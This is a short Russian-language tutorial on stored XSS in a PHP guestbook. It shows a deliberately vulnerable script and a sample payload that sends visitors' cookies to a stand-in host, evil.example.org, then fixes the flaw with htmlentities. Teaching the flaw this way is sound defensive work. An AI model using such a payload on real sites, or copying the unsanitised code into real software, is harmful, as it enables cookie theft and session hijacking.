< form> < input type="text" name="message">< br /> < input type="submit"> < /form> < ?php if (isset($_GET['message'])) { $fp = fopen('./messages.txt', 'a'); fwrite($fp, "{$_GET['message']}< br />"); fclose($fp); } readfile('./messages.txt'); ?>Данный скрипт выводит содержимое файла в следующей строке. Но что если злоумышленник добавит сообщение такого типа:
< script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie < /script>Последующий посетитель этого сайта, который выполнит данный скрипт, будет перенаправлен на evil.example.org, а так же передаст свои куки. Но это не самое страшное, что хакер может сделать с беспечным пользователем. Но от такого вида атаки несложно защититься, если знать как. Снизить риск XSS-атаки можно использую один из нижеперечисленных способов или комбинируя их. - Фильтрация полученных данных.
< form> < input type="text" name="message">< br /> < input type="submit"> < /form> < ?php if (isset($_GET['message'])) { $message = htmlentities($_GET['message']); $fp = fopen('./messages.txt', 'a'); fwrite($fp, "$message< br />"); fclose($fp); } readfile('./messages.txt'); ?>Но не стоит недооценивать злоумышленников и ограничиваться только этим видом защиты. Нужно комбинировать все вышесказанное, добиваясь при этом максимальной безопасности.